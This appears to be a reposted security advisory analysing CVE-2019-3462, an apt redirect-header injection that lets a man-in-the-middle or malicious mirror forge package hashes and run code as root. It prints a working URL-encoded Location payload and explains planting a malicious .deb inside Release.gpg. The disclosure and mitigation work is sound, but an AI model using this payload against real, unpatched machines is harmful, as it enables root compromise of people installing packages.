漏洞分析 | CVE-2019-3462 — apt/apt-get远程代码执行漏洞分析

发布时间：2019-01-23 17:15:02

I found a vulnerability in apt that allows a network man-in-the-middle (or a malicious package mirror) to execute arbitrary code as root on a machine installing any package. The bug has been fixed in the latest versions of apt. If you’re worried about being exploited during the update process, you can protect yourself by disabling HTTP redirects while you update. To do that, run:
<pre><code>$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false
</code></pre>
If your current package mirrors redirect by default (meaning you can’t update apt when using that flag) you’ll need to pick different mirrors or download the package directly. <a>Specific instructions for upgrading on Debian can be found here</a>&nbsp;. <a>Ubuntu’s announcement can be found here</a>&nbsp;.
As a proof of concept, below is a video of me exploiting the following <code>Dockerfile</code>:
<pre><code>FROM debian:latest
RUN apt-get update &amp;&amp; apt-get install -y cowsay
</code></pre>

Video:
https://justi.cz/assets/aptpoc.mp4

## Background

When fetching data, apt forks off worker processes that specialize in the various protocols that will be used for data transfer. The parent process then communicates with these workers over stdin/stdout to tell them what to download and where to put it on the filesystem using a protocol that looks a little like HTTP. For example, when running <code>apt install cowsay</code> on a machine using repos served over HTTP, apt will fork off <code>/usr/lib/apt/methods/http</code>, which returns a <code>100 Capabilities</code> message:
<pre><code>100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true
</code></pre>
The parent process will then send its configuration and request a resource, like this:
<pre><code>601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)
600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070
</code></pre>
And the worker process will respond with something like:
<pre><code>102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers
200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
</code></pre>
When the HTTP server responds with a redirect, the worker process returns a <code>103 Redirect</code> instead of a <code>201 URI Done</code>, and the parent process uses this response to figure out what resource it should request next:
<pre><code>103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri
</code></pre>
 ## Vulnerability
Unfortunately, the HTTP fetcher process URL-decodes the HTTP <code>Location</code> header and blindly appends it to the <code>103 Redirect</code> response:
<figure><pre><code data-lang="c">// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);
// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &amp;NewURI)
{
   std::cout &lt;&lt; "103 Redirect\nURI: " &lt;&lt; Queue-&gt;Uri &lt;&lt; "\n"
             &lt;&lt; "New-URI: " &lt;&lt; NewURI &lt;&lt; "\n"
             &lt;&lt; "\n" &lt;&lt; std::flush;
   Dequeue();
}</code></pre></figure>
(Note: there are important differences here across different versions of apt. The code above is from 1.4.y, which is what recent Debian uses. Some recent Ubuntu versions use 1.6.y, which doesn’t just blindly append the URI here, however there is still an injection vulnerability into the subsequent <code>600 URI Acquire</code> requests made to the HTTP fetcher process. I haven’t checked other versions.)
So if the HTTP server sent <code>Location: /new-uri%0AFoo%3A%20Bar</code>, the HTTP fetcher process would reply with the following:
<pre><code>103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar
</code></pre>
Or, if the HTTP server sent:
<pre><code>Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A
</code></pre>
then the HTTP fetcher process would reply with this:
<pre><code>103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload
201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
</code></pre>
The parent process will trust the hashes returned in the injected <code>201 URI Done</code> response, and compare them with the values from the signed package manifest. Since the attacker controls the reported hashes, they can use this vulnerability to convincingly forge any package.
 ##Planting the malicious package
In my proof of concept, because I chose to inject the <code>201 URI Done</code> response right away, I had to deal with the fact that no package had actually been downloaded yet. I needed a way to get my malicious <code>.deb</code> onto the system for use in the <code>Filename</code> parameter.
To do this, I took advantage of the fact that the <code>Release.gpg</code> file pulled during <code>apt update</code> is both malleable and installed into a predictable location. Specifically, <code>Release.gpg</code> contains ASCII-armored PGP signatures that look like:
<pre><code>-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
</code></pre>
But apt’s signature validation process is totally fine with the presence of other garbage in that file, as long as it doesn’t touch the signatures. So I intercepted the <code>Release.gpg</code> response and prepended it with my malicious deb:
<pre><code>&lt;oops.deb contents&gt;
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
</code></pre>
Then, I set the <code>Filename</code> parameter in the <code>201 URI Done</code> response to point to:
<pre><code>/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
</code></pre>
 ##The http/https debate
By default, Debian and Ubuntu both use plain http repositories out of the box (Debian lets you pick what mirror you want during installation, but doesn’t actually ship with support for https repositories – you have to install <code>apt-transport-https</code> first).
If packages manifests are signed, why bother using https? After all, the privacy gains are minimal, because the sizes of packages are well-known. And using https makes it more difficult to cache content.
People sometimes get really passionate about this. There are <a>single purpose websites</a>&nbsp; dedicated to explaining why using https is pointless in the context of apt.
They’re good points, but bugs like the one I wrote about in this post exist. And this bug isn’t even special – <a>here’s a different one</a>&nbsp; that <a>Jann Horn</a>&nbsp; found in 2016 with the same impact. Yes, a malicious mirror could still exploit a bug like this, even with https. But I suspect that a network adversary serving an exploit is far more likely than <code>deb.debian.org</code> serving one or their TLS certificate getting compromised.
(This is all assuming that <code>apt-transport-https</code> is itself not catastrophically broken. I haven’t audited it, but it looks like a relatively thin wrapper around libcurl.)
Supporting http is fine. I just think it’s worth making https repositories the default – the safer default – and allowing users to downgrade their security at a later time if they choose to do so. I wouldn’t have been able to exploit the <code>Dockerfile</code> at the top of this post if the default package servers had been using https.
 ##Conclusion
Thank you to the apt maintainers for patching this vulnerability quickly, and to the Debian security team for coordinating the disclosure. This bug has been assigned CVE-2019-3462.

原文 / From https://justi.cz/security/2019/01/22/apt-rce.html